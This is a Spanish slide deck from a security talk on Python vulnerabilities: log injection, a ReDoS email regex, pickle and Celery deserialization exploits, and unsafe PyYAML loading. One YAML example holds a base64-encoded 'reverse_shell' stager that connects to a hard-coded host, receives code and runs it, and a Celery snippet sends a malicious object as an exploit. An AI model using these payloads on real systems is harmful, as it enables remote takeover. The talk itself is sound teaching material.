SlideShare una empresa de Scribd logo
1 de 57
Descargar para leer sin conexión
DANIEL GARCÍA (CR0HN)
SEGURIDAD & PYTHON
EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
https://github.com/cr0hn/i-owasp-madrid
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DE QUÉ VA ESTA CHARLA?
▸ Seguridad en código en Python
▸ OWASP aplicado a Python.
▸ Seguridad práctica en Python
▸ Hacking a Python.
▸ E x p l o t a c i ó n d e
vulnerabilidades NO tan
típicas…
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES TÍPICAS
▸ Cross Site Scripting (XSS).
▸ SQL Injection
▸ Auth
▸ ….
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES POCO
CONOCIDAS
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])

def logi():



data = request.form['id']



log.debug("[*] Tried to get info '" + data + "' from the user.")



return "got info!"

logi/app.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (1/3)
@app.route("/info", methods=["POST"])

def logi():



data = request.form['id']



log.debug("[*] Tried to get info '" + data + "' from the user.")



return "got info!"

logi/app.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (2/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
LOG INJECTION (3/3)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (1/3)
Regex: ^(a+)+$
Denial Of System (DoS)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])

def logi(mail=None):



if re.match(r'^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-
Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}
[a-z]{2,3}))$', mail):

return "mail sent to: %s" % mail

else:

return "mail forma invalid"

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (2/3)
@app.route("/mailme/<mail>", methods=["GET"])

def logi(mail=None):



if re.match(r'^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-
Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}
[a-z]{2,3}))$', mail):

return "mail sent to: %s" % mail

else:

return "mail forma invalid"

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EVIL REGEX (3/3)
Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
30 seconds
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES
“RARUNAS" I: PICKLE
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QÚE ES Y PARA QUÉ SIRVE
PICKLE
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES PICKLE
▸ Módulo de Python que permite serializar y deserializar
estructuras de Python.
▸ Es muy sencillo de utilizar.
▸ Viene incorporado con las librerías nativas.
▸ Es el formato de serialización por defecto de muchos
frameworks.
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ PROBLEMA HAY CON PICKLE?
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-



import pickle





class ImSoHappy(object):



def __init__(self):

self.my_var = []





def main():

pickle.dump(ImSoHappy(), open("my_info.db", "wb"))





if __name__ == '__main__':

main()

pickle/pickle-good.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (1/2)
# -*- coding: utf-8 -*-



import pickle





class ImSoHappy(object):



def __init__(self):

self.my_var = []





def main():

pickle.dump(ImSoHappy(), open("my_info.db", "wb"))





if __name__ == '__main__':

main()

pickle/pickle-good.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CÓMO FUNCIONA? (2/2)
?c__main__

ImSoHappy

q)?q}qXmy_varq]qsb.
pickle/my_info.db
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VOLVÁMONOS MALOS
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de
deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un
shell????
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI…
▸ Pickle nos permitiera modificar el flujo de deserialización?
▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de
deserializa?
▸ Y si ejecutaremos cosas malas?
▸ Y si fuéramos muy muy muy malos… y si inyectáramos un
shell????
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… HICIÉRAMOS UNA DEMO?
pickle/pickle-004.py
pickle/pickle-003.py
pickle/pickle-002.py
pickle/pickle-001.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
CELERY + PICKLE: GRAN FALLO DE SEGURIDAD
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
worker	2
Worker
worker	1
Worker
heavy_action()
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)
Broker
worker	2
Worker
worker	1
Worker
heavy_action()
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5)
from celery import Celery



app = Celery(broker="redis://127.0.0.1")



@app.task(name="heavy_action")

def heavy_action(param):

print(param)



def main():

# Exploit!

app.send_task("heavy_action", (MyLittleBastard(), ))
pickle/celery_exploit.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5)
¡Demo time!
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
VULNERABILIDADES
“RARUNAS" II: YAML
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ ES EL YAML
import yaml



YAML = '''

hello: world

how:

- are

- you

'''





def main():

print(yaml.load(YAML))





if __name__ == '__main__':

main()

{
'how': ['are', 'you'],
'hello': ‘world’
}
yml/yml-001.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
import yaml



YAML = '''

hello: world

how:

- are

- you



my_bool: !!bool False

'''





def main():

print(yaml.load(YAML))
{
'my_bool': False,
'hello': 'world',
'how': ['are', ‘you']
}
yml/yml-002.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
import yaml



YAML = '''

hello: world

how:

- are

- you



my_bool: !!bool False

'''





def main():

print(yaml.load(YAML))
{
'my_bool': False,
'hello': 'world',
'how': ['are', ‘you']
}
yml/yml-002.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
QUÉ COSAS “RARUNAS” NOS OFRECE YAML
http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!
import yaml



YAML = '''

hello: world

how:

- are

- you



gif_image: !!binary
"R0lGODlhDAAMAIQAAP//9/
X17unp5WZmZgAAAOfn515eXvPz7Y6Oju
Dg4J
+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP
/++f/++f/++f/++f/++f/++f/++f/+
+f/++f/++f/++f/++f/++f/++SH
+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA
MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B
NJHrv/
zCFcLiwMWYNG84BwwEeECcgggoBADs="

'''
import yaml



YAML = '''

hello: world

how:

- are

- you



reverse_shell: !!binary
"aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1
zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN
PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc
xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN
0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y
oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx
lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSk
K"

'''

yml/yml-003.py yml/yml-004.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!
import yaml



YAML = '''

hello: world

how:

- are

- you



gif_image: !!binary
"R0lGODlhDAAMAIQAAP//9/
X17unp5WZmZgAAAOfn515eXvPz7Y6Oju
Dg4J
+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP
/++f/++f/++f/++f/++f/++f/++f/+
+f/++f/++f/++f/++f/++f/++SH
+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA
MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B
NJHrv/
zCFcLiwMWYNG84BwwEeECcgggoBADs="

'''
import yaml



YAML = '''

hello: world

how:

- are

- you



reverse_shell: !!binary
"aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1
zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN
PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc
xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN
0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y
oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx
lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSk
K"

'''

yml/yml-003.py yml/yml-004.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
EJEMPLOS… YUHU!!!
import yaml



YAML = '''

hello: world

how:

- are

- you



gif_image: !!binary
"R0lGODlhDAAMAIQAAP//9/
X17unp5WZmZgAAAOfn515eXvPz7Y6Oju
Dg4J
+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP
/++f/++f/++f/++f/++f/++f/++f/+
+f/++f/++f/++f/++f/++f/++SH
+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAA
MAAAFLCAgjoEwnuNAFOhpEMTRiggcz4B
NJHrv/
zCFcLiwMWYNG84BwwEeECcgggoBADs="

'''
import yaml



YAML = '''

hello: world

how:

- are

- you



reverse_shell: !!binary
"aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1
zb2NrZXQuc29ja2V0KDIsc29ja2V0LlN
PQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCc
xMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN
0cnVjdC51bnBhY2soJz5JJyxzLnJlY3Y
oNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWx
lIGxlbihkKTxsOgoJZCs9cy5yZWN2KGw
tbGVuKGQpKQpleGVjKGQseydzJzpzfSk
K"

'''

yml/yml-003.py yml/yml-004.py
SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA
DANIEL GARCÍA (CR0HN)
¡GRACIAS!

Más contenido relacionado

La actualidad más candente

Containerization and Docker
Containerization and DockerContainerization and Docker
Containerization and DockerMegha Bansal
 
OpenStack DevStack Configuration localrc local.conf Tutorial
OpenStack DevStack Configuration localrc local.conf TutorialOpenStack DevStack Configuration localrc local.conf Tutorial
OpenStack DevStack Configuration localrc local.conf TutorialSaju Madhavan
 
Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...
Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...
Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...Edureka!
 
Docker introduction
Docker introductionDocker introduction
Docker introductiondotCloud
 
Kubernetes intro public - kubernetes meetup 4-21-2015
Kubernetes intro   public - kubernetes meetup 4-21-2015Kubernetes intro   public - kubernetes meetup 4-21-2015
Kubernetes intro public - kubernetes meetup 4-21-2015Rohit Jnagal
 
Smarter deployments with octopus deploy
Smarter deployments with octopus deploySmarter deployments with octopus deploy
Smarter deployments with octopus deployThibaud Gravrand
 
Docker 101 - Nov 2016
Docker 101 - Nov 2016Docker 101 - Nov 2016
Docker 101 - Nov 2016Docker, Inc.
 
Openstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaS
Openstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaSOpenstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaS
Openstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaSSadique Puthen
 
What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...
What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...
What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...Simplilearn
 
Virtualization, Containers, Docker and scalable container management services
Virtualization, Containers, Docker and scalable container management servicesVirtualization, Containers, Docker and scalable container management services
Virtualization, Containers, Docker and scalable container management servicesabhishek chawla
 
Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...
Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...
Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...Edureka!
 
Getting started with Docker
Getting started with DockerGetting started with Docker
Getting started with DockerRavindu Fernando
 
Testcontainers - Geekout EE 2017 presentation
Testcontainers - Geekout EE 2017 presentationTestcontainers - Geekout EE 2017 presentation
Testcontainers - Geekout EE 2017 presentationRichard North
 
MongoDB for Java Developers with Spring Data
MongoDB for Java Developers with Spring DataMongoDB for Java Developers with Spring Data
MongoDB for Java Developers with Spring DataChris Richardson
 
H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門
H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門
H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門Etsuji Nakai
 
[KubeCon EU 2020] containerd Deep Dive
[KubeCon EU 2020] containerd Deep Dive[KubeCon EU 2020] containerd Deep Dive
[KubeCon EU 2020] containerd Deep DiveAkihiro Suda
 
A brief study on Kubernetes and its components
A brief study on Kubernetes and its componentsA brief study on Kubernetes and its components
A brief study on Kubernetes and its componentsRamit Surana
 

La actualidad más candente (20)

Containerization and Docker
Containerization and DockerContainerization and Docker
Containerization and Docker
 
OpenStack DevStack Configuration localrc local.conf Tutorial
OpenStack DevStack Configuration localrc local.conf TutorialOpenStack DevStack Configuration localrc local.conf Tutorial
OpenStack DevStack Configuration localrc local.conf Tutorial
 
Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...
Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...
Dockerfile Tutorial with Example | Creating your First Dockerfile | Docker Tr...
 
Docker introduction
Docker introductionDocker introduction
Docker introduction
 
Kubernetes intro public - kubernetes meetup 4-21-2015
Kubernetes intro   public - kubernetes meetup 4-21-2015Kubernetes intro   public - kubernetes meetup 4-21-2015
Kubernetes intro public - kubernetes meetup 4-21-2015
 
Docker
DockerDocker
Docker
 
Smarter deployments with octopus deploy
Smarter deployments with octopus deploySmarter deployments with octopus deploy
Smarter deployments with octopus deploy
 
Docker 101 - Nov 2016
Docker 101 - Nov 2016Docker 101 - Nov 2016
Docker 101 - Nov 2016
 
Openstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaS
Openstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaSOpenstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaS
Openstack on Fedora, Fedora on Openstack: An Introduction to cloud IaaS
 
What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...
What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...
What Is Docker? | What Is Docker And How It Works? | Docker Tutorial For Begi...
 
Virtualization, Containers, Docker and scalable container management services
Virtualization, Containers, Docker and scalable container management servicesVirtualization, Containers, Docker and scalable container management services
Virtualization, Containers, Docker and scalable container management services
 
Apache Maven
Apache MavenApache Maven
Apache Maven
 
Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...
Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...
Docker vs VM | | Containerization or Virtualization - The Differences | DevOp...
 
Getting started with Docker
Getting started with DockerGetting started with Docker
Getting started with Docker
 
Virtual Container - Docker
Virtual Container - Docker Virtual Container - Docker
Virtual Container - Docker
 
Testcontainers - Geekout EE 2017 presentation
Testcontainers - Geekout EE 2017 presentationTestcontainers - Geekout EE 2017 presentation
Testcontainers - Geekout EE 2017 presentation
 
MongoDB for Java Developers with Spring Data
MongoDB for Java Developers with Spring DataMongoDB for Java Developers with Spring Data
MongoDB for Java Developers with Spring Data
 
H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門
H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門
H26第1回 沖縄オープンラボラトリ・ハンズオンセミナー:OpenStack入門
 
[KubeCon EU 2020] containerd Deep Dive
[KubeCon EU 2020] containerd Deep Dive[KubeCon EU 2020] containerd Deep Dive
[KubeCon EU 2020] containerd Deep Dive
 
A brief study on Kubernetes and its components
A brief study on Kubernetes and its componentsA brief study on Kubernetes and its components
A brief study on Kubernetes and its components
 

Similar a Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirusNoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirusINCIDE
 
All your appliances are belong to us
All your appliances are belong to usAll your appliances are belong to us
All your appliances are belong to usnavajanegra
 
All your appliances are belong to us
All your appliances are belong to usAll your appliances are belong to us
All your appliances are belong to usz0mbiehunt3r
 
Eres más hackeable de lo que piensas
Eres más hackeable de lo que piensasEres más hackeable de lo que piensas
Eres más hackeable de lo que piensasRoberto Garcia Amoriz
 
Eres más hackeable de lo que crees
Eres más hackeable de lo que creesEres más hackeable de lo que crees
Eres más hackeable de lo que creesRober Garamo
 
Navaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virus
Navaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virusNavaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virus
Navaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virusINCIDE
 
iPhone + Botnets = Fun
iPhone + Botnets = FuniPhone + Botnets = Fun
iPhone + Botnets = FunDavid Barroso
 
ENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONES
ENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONESENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONES
ENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONESJacinto Cabrera Rodríguez
 
La Seguridad En Internet - Elisa
La Seguridad En Internet - ElisaLa Seguridad En Internet - Elisa
La Seguridad En Internet - Elisaeli_9317
 
Técnicas de seguridad (María)
Técnicas de seguridad (María)Técnicas de seguridad (María)
Técnicas de seguridad (María)monicanaranjo
 
Evolucion de las amenazas avanzadas Frank Ramirez
Evolucion de las amenazas avanzadas Frank RamirezEvolucion de las amenazas avanzadas Frank Ramirez
Evolucion de las amenazas avanzadas Frank RamirezCristian Garcia G.
 
WordCamp Madrid CSI: El caso de las Backdoors
WordCamp Madrid CSI: El caso de las BackdoorsWordCamp Madrid CSI: El caso de las Backdoors
WordCamp Madrid CSI: El caso de las BackdoorsNestor Angulo de Ugarte
 

Similar a Seguridad & Python: El desarrollo seguro no sólo es cosa de Java (19)

NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirusNoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
NoCONName 2014 (Ncn2k14) Abraham Pasamar - Desmitificando el AntiVirus
 
Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
All your appliances are belong to us
All your appliances are belong to usAll your appliances are belong to us
All your appliances are belong to us
 
All your appliances are belong to us
All your appliances are belong to usAll your appliances are belong to us
All your appliances are belong to us
 
Eres más hackeable de lo que piensas
Eres más hackeable de lo que piensasEres más hackeable de lo que piensas
Eres más hackeable de lo que piensas
 
Eres más hackeable de lo que crees
Eres más hackeable de lo que creesEres más hackeable de lo que crees
Eres más hackeable de lo que crees
 
Introducción a Clojure
Introducción a ClojureIntroducción a Clojure
Introducción a Clojure
 
Navaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virus
Navaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virusNavaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virus
Navaja negra 2014_nn4ed_abraham_pasamar-desmitificando_el_anti_virus
 
SCRUM no es suficiente...
SCRUM no es suficiente...SCRUM no es suficiente...
SCRUM no es suficiente...
 
Owas top 10_2010_by_dino
Owas top 10_2010_by_dinoOwas top 10_2010_by_dino
Owas top 10_2010_by_dino
 
iPhone + Botnets = Fun
iPhone + Botnets = FuniPhone + Botnets = Fun
iPhone + Botnets = Fun
 
ENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONES
ENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONESENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONES
ENTORNOS DE DESARROLLO: PATRONES Y ANTIPATRONES
 
La Seguridad En Internet - Elisa
La Seguridad En Internet - ElisaLa Seguridad En Internet - Elisa
La Seguridad En Internet - Elisa
 
Técnicas de seguridad (María)
Técnicas de seguridad (María)Técnicas de seguridad (María)
Técnicas de seguridad (María)
 
Evolucion de las amenazas avanzadas Frank Ramirez
Evolucion de las amenazas avanzadas Frank RamirezEvolucion de las amenazas avanzadas Frank Ramirez
Evolucion de las amenazas avanzadas Frank Ramirez
 
WordCamp Madrid CSI: El caso de las Backdoors
WordCamp Madrid CSI: El caso de las BackdoorsWordCamp Madrid CSI: El caso de las Backdoors
WordCamp Madrid CSI: El caso de las Backdoors
 
Troyanos
TroyanosTroyanos
Troyanos
 
PTT ALTURA.ppt
PTT ALTURA.pptPTT ALTURA.ppt
PTT ALTURA.ppt
 
Joomla*****BACKUP
Joomla*****BACKUPJoomla*****BACKUP
Joomla*****BACKUP
 

Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

